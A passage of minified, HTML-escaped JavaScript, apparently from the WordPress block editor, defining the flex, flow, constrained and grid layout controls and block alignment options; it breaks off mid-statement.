Tl={name:&quot;flex&quot;,label:(0,T.__)(&quot;Flex&quot;),inspectorControls:function({layout:e={},onChange:t,layoutBlockSupport:n={}}){const{allowOrientation:o=!0,allowJustification:r=!0}=n;return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsxs)(Ss.Flex,{children:[r&amp;&amp;(0,d.jsx)(Ss.FlexItem,{children:(0,d.jsx)(Rl,{layout:e,onChange:t})}),o&amp;&amp;(0,d.jsx)(Ss.FlexItem,{children:(0,d.jsx)(Nl,{layout:e,onChange:t})})]}),(0,d.jsx)(Al,{layout:e,onChange:t})]})},toolBarControls:function({layout:e={},onChange:t,layoutBlockSupport:n}){const{allowVerticalAlignment:o=!0,allowJustification:r=!0}=n;return r||o?(0,d.jsxs)(Ps,{group:&quot;block&quot;,__experimentalShareWithChildBlocks:!0,children:[r&amp;&amp;(0,d.jsx)(Rl,{layout:e,onChange:t,isToolbar:!0}),o&amp;&amp;(0,d.jsx)(Ml,{layout:e,onChange:t})]}):null},getLayoutStyle:function({selector:e,layout:t,style:n,blockName:o,hasBlockGapSupport:r,layoutDefinitions:i=Vs}){const{orientation:s=&quot;horizontal&quot;}=t,l=n?.spacing?.blockGap&amp;&amp;!bs(o,&quot;spacing&quot;,&quot;blockGap&quot;)?cl(n?.spacing?.blockGap,&quot;0.5em&quot;):void 0,a=wl[t.justifyContent],c=El.includes(t.flexWrap)?t.flexWrap:&quot;wrap&quot;,u=Bl[t.verticalAlignment],d=Cl[t.justifyContent]||Cl.left;let p=&quot;&quot;;const h=[];return c&amp;&amp;&quot;wrap&quot;!==c&amp;&amp;h.push(`flex-wrap: ${c}`),&quot;horizontal&quot;===s?(u&amp;&amp;h.push(`align-items: ${u}`),a&amp;&amp;h.push(`justify-content: ${a}`)):(u&amp;&amp;h.push(`justify-content: ${u}`),h.push(&quot;flex-direction: column&quot;),h.push(`align-items: ${d}`)),h.length&amp;&amp;(p=`${Fs(e)} {\n\t\t\t\t${h.join(&quot;; &quot;)};\n\t\t\t}`),r&amp;&amp;l&amp;&amp;(p+=Hs(e,i,&quot;flex&quot;,l)),p},getOrientation(e){const{orientation:t=&quot;horizontal&quot;}=e;return t},getAlignments:()=&gt;[]};function Ml({layout:e,onChange:t}){const{orientation:n=&quot;horizontal&quot;}=e,o=&quot;horizontal&quot;===n?Il:jl,{verticalAlignment:r=o}=e;return(0,d.jsx)(kl,{onChange:n=&gt;{t({...e,verticalAlignment:n})},value:r,controls:&quot;horizontal&quot;===n?[&quot;top&quot;,&quot;center&quot;,&quot;bottom&quot;,&quot;stretch&quot;]:[&quot;top&quot;,&quot;center&quot;,&quot;bottom&quot;,&quot;space-between&quot;]})}const Pl={placement:&quot;bottom-start&quot;};function Rl({layout:e,onChange:t,isToolbar:n=!1}){const{justifyContent:o=&quot;left&quot;,orientation:r=&quot;horizontal&quot;}=e,i=n=&gt;{t({...e,justifyContent:n})},s=[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;];if(&quot;horizontal&quot;===r?s.push(&quot;space-between&quot;):s.push(&quot;stretch&quot;),n)return(0,d.jsx)(xl,{allowedControls:s,value:o,onChange:i,popoverProps:Pl});const l=[{value:&quot;left&quot;,icon:Rs,label:(0,T.__)(&quot;Justify items left&quot;)},{value:&quot;center&quot;,icon:As,label:(0,T.__)(&quot;Justify items center&quot;)},{value:&quot;right&quot;,icon:Ns,label:(0,T.__)(&quot;Justify items right&quot;)}];return&quot;horizontal&quot;===r?l.push({value:&quot;space-between&quot;,icon:Ls,label:(0,T.__)(&quot;Space between items&quot;)}):l.push({value:&quot;stretch&quot;,icon:Ds,label:(0,T.__)(&quot;Stretch items&quot;)}),(0,d.jsx)(Ss.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Justification&quot;),value:o,onChange:i,className:&quot;block-editor-hooks__flex-layout-justification-controls&quot;,children:l.map((({value:e,icon:t,label:n})=&gt;(0,d.jsx)(Ss.__experimentalToggleGroupControlOptionIcon,{value:e,icon:t,label:n},e)))})}function Al({layout:e,onChange:t}){const{flexWrap:n=&quot;wrap&quot;}=e;return(0,d.jsx)(Ss.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Allow to wrap to multiple lines&quot;),onChange:n=&gt;{t({...e,flexWrap:n?&quot;wrap&quot;:&quot;nowrap&quot;})},checked:&quot;wrap&quot;===n})}function Nl({layout:e,onChange:t}){const{orientation:n=&quot;horizontal&quot;,verticalAlignment:o,justifyContent:r}=e;return(0,d.jsxs)(Ss.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,className:&quot;block-editor-hooks__flex-layout-orientation-controls&quot;,label:(0,T.__)(&quot;Orientation&quot;),value:n,onChange:n=&gt;{let i=o,s=r;return&quot;horizontal&quot;===n?(&quot;space-between&quot;===o&amp;&amp;(i=&quot;center&quot;),&quot;stretch&quot;===r&amp;&amp;(s=&quot;left&quot;)):(&quot;stretch&quot;===o&amp;&amp;(i=&quot;top&quot;),&quot;space-between&quot;===r&amp;&amp;(s=&quot;left&quot;)),t({...e,orientation:n,verticalAlignment:i,justifyContent:s})},children:[(0,d.jsx)(Ss.__experimentalToggleGroupControlOptionIcon,{icon:Os,value:&quot;horizontal&quot;,label:(0,T.__)(&quot;Horizontal&quot;)}),(0,d.jsx)(Ss.__experimentalToggleGroupControlOptionIcon,{icon:zs,value:&quot;vertical&quot;,label:(0,T.__)(&quot;Vertical&quot;)})]})}var Ll={name:&quot;default&quot;,label:(0,T.__)(&quot;Flow&quot;),inspectorControls:function(){return null},toolBarControls:function(){return null},getLayoutStyle:function({selector:e,style:t,blockName:n,hasBlockGapSupport:o,layoutDefinitions:r=Vs}){const i=cl(t?.spacing?.blockGap);let s=&quot;&quot;;bs(n,&quot;spacing&quot;,&quot;blockGap&quot;)||(i?.top?s=cl(i?.top):&quot;string&quot;==typeof i&amp;&amp;(s=cl(i)));let l=&quot;&quot;;return o&amp;&amp;s&amp;&amp;(l+=Hs(e,r,&quot;default&quot;,s)),l},getOrientation:()=&gt;&quot;vertical&quot;,getAlignments(e,t){const n=Us(e);if(void 0!==e.alignments)return e.alignments.includes(&quot;none&quot;)||e.alignments.unshift(&quot;none&quot;),e.alignments.map((e=&gt;({name:e,info:n[e]})));const o=[{name:&quot;left&quot;},{name:&quot;center&quot;},{name:&quot;right&quot;}];if(!t){const{contentSize:t,wideSize:r}=e;t&amp;&amp;o.unshift({name:&quot;full&quot;}),r&amp;&amp;o.unshift({name:&quot;wide&quot;,info:n.wide})}return o.unshift({name:&quot;none&quot;,info:n.none}),o}},Dl=(0,h.forwardRef)((({icon:e,size:t=24,...n},o)=&gt;(0,h.cloneElement)(e,{width:t,height:t,...n,ref:o}))),Ol=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM5 9h14v6H5V9Z&quot;})}),zl=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M16 5.5H8V4h8v1.5ZM16 20H8v-1.5h8V20ZM5 9h14v6H5V9Z&quot;})}),Vl={name:&quot;constrained&quot;,label:(0,T.__)(&quot;Constrained&quot;),inspectorControls:function({layout:e,onChange:t,layoutBlockSupport:n={}}){const{wideSize:o,contentSize:r,justifyContent:i=&quot;center&quot;}=e,{allowJustification:s=!0,allowCustomContentAndWideSize:l=!0}=n,a=[{value:&quot;left&quot;,icon:Rs,label:(0,T.__)(&quot;Justify items left&quot;)},{value:&quot;center&quot;,icon:As,label:(0,T.__)(&quot;Justify items center&quot;)},{value:&quot;right&quot;,icon:Ns,label:(0,T.__)(&quot;Justify items right&quot;)}],[c]=Ei(&quot;spacing.units&quot;),u=(0,Ss.__experimentalUseCustomUnits)({availableUnits:c||[&quot;%&quot;,&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vw&quot;]});return(0,d.jsxs)(Ss.__experimentalVStack,{spacing:4,className:&quot;block-editor-hooks__layout-constrained&quot;,children:[l&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Content width&quot;),labelPosition:&quot;top&quot;,value:r||o||&quot;&quot;,onChange:n=&gt;{n=0&gt;parseFloat(n)?&quot;0&quot;:n,t({...e,contentSize:n})},units:u,prefix:(0,d.jsx)(Ss.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,d.jsx)(Dl,{icon:Ol})})}),(0,d.jsx)(Ss.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Wide width&quot;),labelPosition:&quot;top&quot;,value:o||r||&quot;&quot;,onChange:n=&gt;{n=0&gt;parseFloat(n)?&quot;0&quot;:n,t({...e,wideSize:n})},units:u,prefix:(0,d.jsx)(Ss.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,d.jsx)(Dl,{icon:zl})})}),(0,d.jsx)(&quot;p&quot;,{className:&quot;block-editor-hooks__layout-constrained-helptext&quot;,children:(0,T.__)(&quot;Customize the width for all elements that are assigned to the center or wide columns.&quot;)})]}),s&amp;&amp;(0,d.jsx)(Ss.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Justification&quot;),value:i,onChange:n=&gt;{t({...e,justifyContent:n})},children:a.map((({value:e,icon:t,label:n})=&gt;(0,d.jsx)(Ss.__experimentalToggleGroupControlOptionIcon,{value:e,icon:t,label:n},e)))})]})},toolBarControls:function({layout:e={},onChange:t,layoutBlockSupport:n}){const{allowJustification:o=!0}=n;return o?(0,d.jsx)(Ps,{group:&quot;block&quot;,__experimentalShareWithChildBlocks:!0,children:(0,d.jsx)(Hl,{layout:e,onChange:t})}):null},getLayoutStyle:function({selector:e,layout:t={},style:n,blockName:o,hasBlockGapSupport:r,layoutDefinitions:i=Vs}){const{contentSize:s,wideSize:l,justifyContent:a}=t,c=cl(n?.spacing?.blockGap);let u=&quot;&quot;;bs(o,&quot;spacing&quot;,&quot;blockGap&quot;)||(c?.top?u=cl(c?.top):&quot;string&quot;==typeof c&amp;&amp;(u=cl(c)));const d=&quot;left&quot;===a?&quot;0 !important&quot;:&quot;auto !important&quot;,p=&quot;right&quot;===a?&quot;0 !important&quot;:&quot;auto !important&quot;;let h=s||l?`\n\t\t\t\t\t${Fs(e,&quot;&gt; :where(:not(.alignleft):not(.alignright):not(.alignfull))&quot;)} {\n\t\t\t\t\t\tmax-width: ${s??l};\n\t\t\t\t\t\tmargin-left: ${d};\n\t\t\t\t\t\tmargin-right: ${p};\n\t\t\t\t\t}\n\t\t\t\t\t${Fs(e,&quot;&gt; .alignwide&quot;)}  {\n\t\t\t\t\t\tmax-width: ${l??s};\n\t\t\t\t\t}\n\t\t\t\t\t${Fs(e,&quot;&gt; .alignfull&quot;)} {\n\t\t\t\t\t\tmax-width: none;\n\t\t\t\t\t}\n\t\t\t\t`:&quot;&quot;;if(&quot;left&quot;===a?h+=`${Fs(e,&quot;&gt; :where(:not(.alignleft):not(.alignright):not(.alignfull))&quot;)}\n\t\t\t{ margin-left: ${d}; }`:&quot;right&quot;===a&amp;&amp;(h+=`${Fs(e,&quot;&gt; :where(:not(.alignleft):not(.alignright):not(.alignfull))&quot;)}\n\t\t\t{ margin-right: ${p}; }`),n?.spacing?.padding){(0,Mi.getCSSRules)(n).forEach((t=&gt;{if(&quot;paddingRight&quot;===t.key){const n=&quot;0&quot;===t.value?&quot;0px&quot;:t.value;h+=`\n\t\t\t\t\t${Fs(e,&quot;&gt; .alignfull&quot;)} {\n\t\t\t\t\t\tmargin-right: calc(${n} * -1);\n\t\t\t\t\t}\n\t\t\t\t\t`}else if(&quot;paddingLeft&quot;===t.key){const n=&quot;0&quot;===t.value?&quot;0px&quot;:t.value;h+=`\n\t\t\t\t\t${Fs(e,&quot;&gt; .alignfull&quot;)} {\n\t\t\t\t\t\tmargin-left: calc(${n} * -1);\n\t\t\t\t\t}\n\t\t\t\t\t`}}))}return r&amp;&amp;u&amp;&amp;(h+=Hs(e,i,&quot;constrained&quot;,u)),h},getOrientation:()=&gt;&quot;vertical&quot;,getAlignments(e){const t=Us(e);if(void 0!==e.alignments)return e.alignments.includes(&quot;none&quot;)||e.alignments.unshift(&quot;none&quot;),e.alignments.map((e=&gt;({name:e,info:t[e]})));const{contentSize:n,wideSize:o}=e,r=[{name:&quot;left&quot;},{name:&quot;center&quot;},{name:&quot;right&quot;}];return n&amp;&amp;r.unshift({name:&quot;full&quot;}),o&amp;&amp;r.unshift({name:&quot;wide&quot;,info:t.wide}),r.unshift({name:&quot;none&quot;,info:t.none}),r}};const Fl={placement:&quot;bottom-start&quot;};function Hl({layout:e,onChange:t}){const{justifyContent:n=&quot;center&quot;}=e;return(0,d.jsx)(xl,{allowedControls:[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;],value:n,onChange:n=&gt;{t({...e,justifyContent:n})},popoverProps:Fl})}const Ul={px:600,&quot;%&quot;:100,vw:100,vh:100,em:38,rem:38,svw:100,lvw:100,dvw:100,svh:100,lvh:100,dvh:100,vi:100,svi:100,lvi:100,dvi:100,vb:100,svb:100,lvb:100,dvb:100,vmin:100,svmin:100,lvmin:100,dvmin:100,vmax:100,svmax:100,lvmax:100,dvmax:100},Gl=[{value:&quot;px&quot;,label:&quot;px&quot;,default:0},{value:&quot;rem&quot;,label:&quot;rem&quot;,default:0},{value:&quot;em&quot;,label:&quot;em&quot;,default:0}];var $l={name:&quot;grid&quot;,label:(0,T.__)(&quot;Grid&quot;),inspectorControls:function({layout:e={},onChange:t,layoutBlockSupport:n={}}){const{allowSizingOnChildren:o=!1}=n,r=window.__experimentalEnableGridInteractivity||!!e?.columnCount,i=window.__experimentalEnableGridInteractivity||!e?.columnCount;return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Zl,{layout:e,onChange:t}),(0,d.jsxs)(Ss.__experimentalVStack,{spacing:4,children:[r&amp;&amp;(0,d.jsx)(Kl,{layout:e,onChange:t,allowSizingOnChildren:o}),i&amp;&amp;(0,d.jsx)(Wl,{layout:e,onChange:t})]})]})},toolBarControls:function(){return null},getLayoutStyle:function({selector:e,layout:t,style:n,blockName:o,hasBlockGapSupport:r,layoutDefinitions:i=Vs}){const{minimumColumnWidth:s=null,columnCount:l=null,rowCount:a=null}=t;const c=n?.spacing?.blockGap&amp;&amp;!bs(o,&quot;spacing&quot;,&quot;blockGap&quot;)?cl(n?.spacing?.blockGap,&quot;0.5em&quot;):void 0;let u=&quot;&quot;;const d=[];if(s&amp;&amp;l&gt;0){const e=`max(${s}, ( 100% - (${c||&quot;1.2rem&quot;}*${l-1}) ) / ${l})`;d.push(`grid-template-columns: repeat(auto-fill, minmax(${e}, 1fr))`,&quot;container-type: inline-size&quot;),a&amp;&amp;d.push(`grid-template-rows: repeat(${a}, minmax(1rem, auto))`)}else l?(d.push(`grid-template-columns: repeat(${l}, minmax(0, 1fr))`),a&amp;&amp;d.push(`grid-template-rows: repeat(${a}, minmax(1rem, auto))`)):d.push(`grid-template-columns: repeat(auto-fill, minmax(min(${s||&quot;12rem&quot;}, 100%), 1fr))`,&quot;container-type: inline-size&quot;);return d.length&amp;&amp;(u=`${Fs(e)} { ${d.join(&quot;; &quot;)}; }`),r&amp;&amp;c&amp;&amp;(u+=Hs(e,i,&quot;grid&quot;,c)),u},getOrientation:()=&gt;&quot;horizontal&quot;,getAlignments:()=&gt;[]};function Wl({layout:e,onChange:t}){const{minimumColumnWidth:n,columnCount:o,isManualPlacement:r}=e,i=n||(r||o?null:&quot;12rem&quot;),[s,l=&quot;rem&quot;]=(0,Ss.__experimentalParseQuantityAndUnitFromRawValue)(i);return(0,d.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-hooks__grid-layout-minimum-width-control&quot;,children:[(0,d.jsx)(Ss.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:(0,T.__)(&quot;Minimum column width&quot;)}),(0,d.jsxs)(Ss.Flex,{gap:4,children:[(0,d.jsx)(Ss.FlexItem,{isBlock:!0,children:(0,d.jsx)(Ss.__experimentalUnitControl,{size:&quot;__unstable-large&quot;,onChange:n=&gt;{t({...e,minimumColumnWidth:&quot;&quot;===n?void 0:n})},onUnitChange:n=&gt;{let o;[&quot;em&quot;,&quot;rem&quot;].includes(n)&amp;&amp;&quot;px&quot;===l?o=(s/16).toFixed(2)+n:[&quot;em&quot;,&quot;rem&quot;].includes(l)&amp;&amp;&quot;px&quot;===n&amp;&amp;(o=Math.round(16*s)+n),t({...e,minimumColumnWidth:o})},value:i,units:Gl,min:0,label:(0,T.__)(&quot;Minimum column width&quot;),hideLabelFromVision:!0})}),(0,d.jsx)(Ss.FlexItem,{isBlock:!0,children:(0,d.jsx)(Ss.RangeControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,onChange:n=&gt;{t({...e,minimumColumnWidth:[n,l].join(&quot;&quot;)})},value:s||0,min:0,max:Ul[l]||600,withInputField:!1,label:(0,T.__)(&quot;Minimum column width&quot;),hideLabelFromVision:!0})})]})]})}function Kl({layout:e,onChange:t,allowSizingOnChildren:n}){const o=window.__experimentalEnableGridInteractivity?void 0:3,{columnCount:r=o,rowCount:i,isManualPlacement:s}=e;return(0,d.jsx)(d.Fragment,{children:(0,d.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-hooks__grid-layout-columns-and-rows-controls&quot;,children:[(!window.__experimentalEnableGridInteractivity||!s)&amp;&amp;(0,d.jsx)(Ss.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:(0,T.__)(&quot;Columns&quot;)}),(0,d.jsxs)(Ss.Flex,{gap:4,children:[(0,d.jsx)(Ss.FlexItem,{isBlock:!0,children:(0,d.jsx)(Ss.__experimentalNumberControl,{size:&quot;__unstable-large&quot;,onChange:n=&gt;{if(window.__experimentalEnableGridInteractivity){const o=&quot;&quot;===n||&quot;0&quot;===n?s?1:void 0:parseInt(n,10);t({...e,columnCount:o})}else{const o=&quot;&quot;===n||&quot;0&quot;===n?1:parseInt(n,10);t({...e,columnCount:o})}},value:r,min:1,label:(0,T.__)(&quot;Columns&quot;),hideLabelFromVision:!window.__experimentalEnableGridInteractivity||!s})}),(0,d.jsx)(Ss.FlexItem,{isBlock:!0,children:window.__experimentalEnableGridInteractivity&amp;&amp;n&amp;&amp;s?(0,d.jsx)(Ss.__experimentalNumberControl,{size:&quot;__unstable-large&quot;,onChange:n=&gt;{const o=&quot;&quot;===n||&quot;0&quot;===n?1:parseInt(n,10);t({...e,rowCount:o})},value:i,min:1,label:(0,T.__)(&quot;Rows&quot;)}):(0,d.jsx)(Ss.RangeControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,value:r??1,onChange:n=&gt;t({...e,columnCount:&quot;&quot;===n||&quot;0&quot;===n?1:n}),min:1,max:16,withInputField:!1,label:(0,T.__)(&quot;Columns&quot;),hideLabelFromVision:!0})})]})]})})}function Zl({layout:e,onChange:t}){const{columnCount:n,rowCount:o,minimumColumnWidth:r,isManualPlacement:i}=e,[s,l]=(0,h.useState)(n||3),[a,c]=(0,h.useState)(o),[u,p]=(0,h.useState)(r||&quot;12rem&quot;),g=i||n&amp;&amp;!window.__experimentalEnableGridInteractivity?&quot;manual&quot;:&quot;auto&quot;,m=&quot;manual&quot;===g?(0,T.__)(&quot;Grid items can be manually placed in any position on the grid.&quot;):(0,T.__)(&quot;Grid items are placed automatically depending on their order.&quot;);return(0,d.jsxs)(Ss.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Grid item position&quot;),value:g,onChange:i=&gt;{&quot;manual&quot;===i?p(r||&quot;12rem&quot;):(l(n||3),c(o)),t({...e,columnCount:&quot;manual&quot;===i?s:null,rowCount:&quot;manual&quot;===i&amp;&amp;window.__experimentalEnableGridInteractivity?a:void 0,isManualPlacement:!(&quot;manual&quot;!==i||!window.__experimentalEnableGridInteractivity)||void 0,minimumColumnWidth:&quot;auto&quot;===i?u:null})},isBlock:!0,help:window.__experimentalEnableGridInteractivity?m:void 0,children:[(0,d.jsx)(Ss.__experimentalToggleGroupControlOption,{value:&quot;auto&quot;,label:(0,T.__)(&quot;Auto&quot;)},&quot;auto&quot;),(0,d.jsx)(Ss.__experimentalToggleGroupControlOption,{value:&quot;manual&quot;,label:(0,T.__)(&quot;Manual&quot;)},&quot;manual&quot;)]})}const ql=[Ll,Tl,Vl,$l];function Yl(e=&quot;default&quot;){return ql.find((t=&gt;t.name===e))}const Xl={type:&quot;default&quot;},Ql=(0,h.createContext)(Xl);Ql.displayName=&quot;BlockLayoutContext&quot;;const Jl=Ql.Provider;function ea(){return(0,h.useContext)(Ql)}const ta=[],na=[&quot;none&quot;,&quot;left&quot;,&quot;center&quot;,&quot;right&quot;,&quot;wide&quot;,&quot;full&quot;],oa=[&quot;wide&quot;,&quot;full&quot;];function ra(e=na){e.includes(&quot;none&quot;)||(e=[&quot;none&quot;,...e]);const t=1===e.length&amp;&amp;&quot;none&quot;===e[0],[n,o,r]=(0,g.useSelect)((e=&gt;{if(t)return[!1,!1,!1];const n=e(Ii).getSettings();return[n.alignWide??!1,n.supportsLayout,n.__unstableIsBlockBasedTheme]}),[t]),i=ea();if(t)return ta;const s=Yl(i?.type);if(o){const t=s.getAlignments(i,r).filter((t=&gt;e.includes(t.name)));return 1===t.length&amp;&amp;&quot;none&quot;===t[0].name?ta:t}if(&quot;default&quot;!==s.name&amp;&amp;&quot;constrained&quot;!==s.name)return ta;const l=e.filter((e=&gt;i.alignments?i.alignments.includes(e):!(!n&amp;&amp;oa.includes(e))&amp;&amp;na.includes(e))).map((e=&gt;({name:e})));return 1===l.length&amp;&amp;&quot;none&quot;===l[0].name?ta:l}var ia=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M5 5.5h8V4H5v1.5ZM5 20h8v-1.5H5V20ZM19 9H5v6h14V9Z&quot;})}),sa=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM7 9h10v6H7V9Z&quot;})}),la=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M19 5.5h-8V4h8v1.5ZM19 20h-8v-1.5h8V20ZM5 9h14v6H5V9Z&quot;})}),aa=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M5 4h14v11H5V4Zm11 16H8v-1.5h8V20Z&quot;})});const ca={none:{icon:Ol,title:(0,T._x)(&quot;None&quot;,&quot;Alignment option&quot;)},left:{icon:ia,title:(0,T.__)(&quot;Align left&quot;)},center:{icon:sa,title:(0,T.__)(&quot;Align center&quot;)},right:{icon:la,title:(0,T.__)(&quot;Align right&quot;)},wide:{icon:zl,title:(0,T.__)(&quot;Wide width&quot;)},full:{icon:aa,title:(0,T.__)(&quot;Full width&quot;)}};var ua=function({value:e,onChange:t,controls:n,isToolbar:o,isCollapsed:r=!0}){const i=ra(n);if(!!!i.length)return null;function s(n){t([e,&quot;none&quot;].includes(n)?void 0:n)}const l=ca[e],a=ca.none,c=o?Ss.ToolbarGroup:Ss.ToolbarDropdownMenu,u={icon:l?l.icon:a.icon,label:(0,T.__)(&quot;Align&quot;)},p=o?{isCollapsed:r,controls:i.map((({name:t})=&gt;({...ca[t],isActive:e===t||!e&amp;&amp;&quot;none&quot;===t,role:r?&quot;menuitemradio&quot;:void 0,onClick:()=&gt;s(t)})))}:{toggleProps:{description:(0,T.__)(&quot;Change alignment&quot;)},children:({onClose:t})=&gt;(0,d.jsx)(d.Fragment,{children:(0,d.jsx)(Ss.MenuGroup,{className:&quot;block-editor-block-alignment-control__menu-group&quot;,children:i.map((({name:n,info:o})=&gt;{const{icon:r,title:i}=ca[n],l=n===e||!e&amp;&amp;&quot;none&quot;===n;return(0,d.jsx)(Ss.MenuItem,{icon:r,iconPosition:&quot;left&quot;,className:gs(&quot;components-dropdown-menu__menu-item&quot;,{&quot;is-active&quot;:l}),isSelected:l,onClick:()=&gt;{s(n),t()},role:&quot;menuitemradio&quot;,info:o,children:i},n)}))})})};return(0,d.jsx)(c,{...u,...p})};const da=e=&gt;(0,d.jsx)(ua,{...e,isToolbar:!1}),pa=e=&gt;(0,d.jsx)(ua,{...e,isToolbar:!0});function ha(e){const t=C(),{clientId:n=&quot;&quot;}=t,{setBlockEditingMode:o,unsetBlockEditingMode:r}=(0,g.useDispatch)(Ii),i=(0,g.useSelect)((e=&gt;n?null:e(Ii).getBlockEditingMode()),[n]);return(0,h.useEffect)((()=&gt;(e&amp;&amp;o(n,e),()=&gt;{e&amp;&amp;r(n)})),[n,e,o,r]),n?t[v]:i}const ga=[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;,&quot;wide&quot;,&quot;full&quot;],ma=[&quot;wide&quot;,&quot;full&quot;];function fa(e,t=!0,n=!0){let o;return o=Array.isArray(e)?ga.filter((t=&gt;e.includes(t))):!0===e?[...ga]:[],!n||!0===e&amp;&amp;!t?o.filter((e=&gt;!ma.includes(e))):o}var ba={shareWithChildBlocks:!0,edit:function({name:e,align:t,setAttributes:n}){const o=ra(fa((0,p.getBlockSupport)(e,&quot;align&quot;),(0,p.hasBlockSupport)(e,&quot;alignWide&quot;,!0))).map((({name:e})=&gt;e)),r=ha();return o.length&amp;&amp;&quot;default&quot;===r?(0,d.jsx)(Ps,{group:&quot;block&quot;,__experimentalShareWithChildBlocks:!0,children:(0,d.jsx)(da,{value:t,onChange:t=&gt;{if(!t){const n=(0,p.getBlockType)(e),o=n?.attributes?.align?.default;o&amp;&amp;(t=&quot;&quot;)}n({align:t})},controls:o})}):null},useBlockProps:function({name:e,align:t}){const n=fa((0,p.getBlockSupport)(e,&quot;align&quot;),(0,p.hasBlockSupport)(e,&quot;alignWide&quot;,!0));if(ra(n).some((e=&gt;e.name===t)))return{&quot;data-align&quot;:t};return{}},addSaveProps:function(e,t,n){const{align:o}=n,r=(0,p.getBlockSupport)(t,&quot;align&quot;),i=(0,p.hasBlockSupport)(t,&quot;alignWide&quot;,!0);fa(r,i).includes(o)&amp;&amp;(e.className=gs(`align${o}`,e.className));return e},attributeKeys:[&quot;align&quot;],hasSupport:e=&gt;(0,p.hasBlockSupport)(e,&quot;align&quot;,!1)};(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/editor/align/addAttribute&quot;,(function(e){return&quot;type&quot;in(e.attributes?.align??{})||(0,p.hasBlockSupport)(e,&quot;align&quot;)&amp;&amp;(e.attributes={...e.attributes,align:{type:&quot;string&quot;,enum:[...ga,&quot;&quot;]}}),e}));const ka=(0,Ss.createSlotFill)(&quot;InspectorControls&quot;),va=(0,Ss.createSlotFill)(&quot;InspectorAdvancedControls&quot;),_a=(0,Ss.createSlotFill)(&quot;InspectorControlsBindings&quot;),ya=(0,Ss.createSlotFill)(&quot;InspectorControlsBackground&quot;),xa=(0,Ss.createSlotFill)(&quot;InspectorControlsBorder&quot;),Sa=(0,Ss.createSlotFill)(&quot;InspectorControlsColor&quot;),wa=(0,Ss.createSlotFill)(&quot;InspectorControlsFilter&quot;),Ca=(0,Ss.createSlotFill)(&quot;InspectorControlsDimensions&quot;),Ba=(0,Ss.createSlotFill)(&quot;InspectorControlsPosition&quot;),Ia=(0,Ss.createSlotFill)(&quot;InspectorControlsTypography&quot;),ja=(0,Ss.createSlotFill)(&quot;InspectorControlsListView&quot;),Ea=(0,Ss.createSlotFill)(&quot;InspectorControlsStyles&quot;);var Ta={default:ka,advanced:va,background:ya,bindings:_a,border:xa,color:Sa,dimensions:Ca,effects:(0,Ss.createSlotFill)(&quot;InspectorControlsEffects&quot;),filter:wa,list:ja,position:Ba,settings:ka,styles:Ea,typography:Ia};const Ma=(0,Ss.createSlotFill)(Symbol(&quot;PrivateInspectorControlsAllowedBlocks&quot;));function Pa({children:e,group:t=&quot;default&quot;,__experimentalGroup:n,resetAllFilter:o}){n&amp;&amp;(I()(&quot;`__experimentalGroup` property in `InspectorControlsFill`&quot;,{since:&quot;6.2&quot;,version:&quot;6.4&quot;,alternative:&quot;`group`&quot;}),t=n);const r=C(),i=Ta[t]?.Fill;return i?r[b]?(0,d.jsx)(Ss.__experimentalStyleProvider,{document,children:(0,d.jsx)(i,{children:t=&gt;(0,d.jsx)(Aa,{fillProps:t,children:e,resetAllFilter:o})})}):null:(Is()(`Unknown InspectorControls group &quot;${t}&quot; provided.`),null)}function Ra({resetAllFilter:e,children:t}){const{registerResetAllFilter:n,deregisterResetAllFilter:o}=(0,h.useContext)(Ss.__experimentalToolsPanelContext);return(0,h.useEffect)((()=&gt;{if(e&amp;&amp;n&amp;&amp;o)return n(e),()=&gt;{o(e)}}),[e,n,o]),t}function Aa({children:e,resetAllFilter:t,fillProps:n}){const{forwardedContext:o=[]}=n,r=(0,d.jsx)(Ra,{resetAllFilter:t,children:e});return 